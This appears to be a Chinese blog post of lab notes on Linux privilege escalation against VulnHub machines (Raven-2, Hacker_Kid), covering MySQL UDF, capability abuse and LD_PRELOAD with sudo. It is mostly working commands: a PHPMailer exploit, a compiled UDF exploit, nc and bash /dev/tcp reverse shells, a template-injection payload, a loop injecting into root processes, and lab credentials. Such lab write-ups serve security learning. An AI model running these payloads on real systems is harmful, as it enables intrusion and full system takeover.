Linux权限提升四

ops/2024/9/23 4:19:38/

➢ Linux系统提权-Web&用户-数据库类型

➢ Linux系统提权-Web&用户-Capability能力

➢ Linux系统提权-普通用户-LD_Preload加载

#Linux系统提权-Web&用户-数据库类型

https://www.vulnhub.com/entry/raven-2,269/

1、信息收集:

http://192.168.139.155/vendor/

2、Web权限获取:

searchsploit phpmailer

find / -name 40969.py

cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

python p.py

3、MYSQL-UDF提权:

-编译UDF.so

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

python -m http.server 8080

-下载到目标上

python -c 'import pty; pty.spawn("/bin/bash")'

cd tmp

wget http://192.168.139.141:8080/udf.so

-连接进行导出调用

mysql -uroot -pR@v3nSecurity

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like '%basedir%'; #确认mysql安装位置

show variables like '%secure%'; #查看可导出文件位置

show variables like '%plugin%'; #查找插件位置

show variables like '%compile%'; #查看系统版本

use mysql;

# 创建xiaodi表

create table xiaodi(line blob);

# 往xiaodi表中插入二进制的udf.so

insert into xiaodi values(load_file('/tmp/udf.so'));

# 导出udf.so

select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';

# 创建do_system自定义函数

create function do_system returns integer soname 'udf.so';

select do_system('nc 192.168.139.141 6666 -e /bin/bash');

#Linux系统提权-Web&用户-Capability能力

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html

cp /usr/bin/php /tmp/php

设置能力:setcap cap_setuid+ep /tmp/php

删除能力:setcap -r /tmp/php

查看单个能力:getcap /usr/bin/php

查看所有能力:getcap -r / 2>/dev/null

Hacker_Kid

WP参考:https://www.jianshu.com/p/60673ac0454f

环境:https://www.vulnhub.com/entry/hacker-kid-101,719/

saket

Saket!#$%@!!

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}

http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

/sbin/getcap -r / 2>/dev/null

python -m http.server 8080

wget http://192.168.139.141:8080/inject.py

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

nc 192.168.139.156 5600

结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

#Linux系统提权-普通用户-LD_Preload加载

参考:https://www.cnblogs.com/backlion/p/10503985.html

Defaults env_keep += LD_PRELOAD

test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

ls -al shell.so

sudo LD_PRELOAD=/tmp/shell.so find

whoami

Defaults env_keep += LD_PRELOAD

test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh

sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权


http://www.ppmy.cn/ops/50841.html

相关文章

2024年水利水电安全员考试真题题库。

31.悬空高处作业人员应系挂安全带.佩戴工具袋。严禁在未固定.无防护的构件友安装中的管道上作业或通行。下列关于悬空作业的要求中,错误的是( )。 A.模板支撑应按规定的程序进行,不得在连接件和支撑杆件上攀登上下,在…

基于C#、Visual Studio 2017以及.NET Framework 4.5的Log4Net使用教程

在使用Log4Net记录日志时,以下是一个基于C#、Visual Studio 2017以及.NET Framework 4.5的详细步骤教程。这个教程适合初学者,会从添加Log4Net库、配置日志、编写日志记录代码等方面进行说明。 步骤1:安装Log4Net 通过NuGet安装 打开您的Vi…

WebSocket定时前端推送:深度解析与实战挑战

WebSocket定时前端推送:深度解析与实战挑战 在现代Web应用中,实时通信和数据推送功能变得愈发重要。WebSocket作为一种实现双向通信的协议,为我们提供了高效、灵活的前端推送机制。然而,WebSocket的定时前端推送功能并非一蹴而就…

计算机网络:网络层 - 路由选择协议

计算机网络:网络层 - 路由选择协议 路由器的结构路由选择协议概述自治系统 AS内部网关协议路由信息协议 RIP距离向量算法RIP报文格式收敛问题 开放最短路径优先 OSPF基本工作原理自治系统分区 外部网关协议BGP-4 路由器的结构 如图所示,路由器被分为路由…

计算机网络-子网掩码的计算

计算机网络中的子网掩码计算及相关知识 在计算机网络中,子网掩码是一个非常重要的概念。它不仅帮助我们区分网络地址和主机地址,还在网络划分、管理和安全中发挥着重要作用。本文将介绍子网掩码的基本概念、计算方法及其在网络中的应用。 子网掩码的基…

【Linux】进程信号2——阻塞信号,捕捉信号

1.阻塞信号 1.1. 信号其他相关常见概念 在开始内容之前,先介绍一些信号的专业名词: 实际执行信号的处理动作称为信号递达(Delivery)信号从产生到递达之间的状态,称为信号未决(Pending)&#…

模板方法模式(大话设计模式)C/C++版本

模板方法模式 C #include <iostream> using namespace std;class TestPaper { public:void TestQ1(){cout << "杨过得到&#xff0c;后来给了郭靖&#xff0c;炼成倚天剑&#xff0c;屠龙刀的玄铁可能是[ ]\na.球磨铸铁 b.马口贴 c.高速合金钢 d.碳素纤维&qu…

如何删除电脑自带的游戏

要删除电脑自带的游戏&#xff0c;如扫雷和纸牌&#xff0c;你可以按照以下步骤操作&#xff0c;这些步骤基于Windows操作系统&#xff1a; 对于Windows 7及其更早版本 打开控制面板选择“程序”打开或关闭Windows功能找到并取消勾选游戏 对于Windows 10及更高版本 打开“设…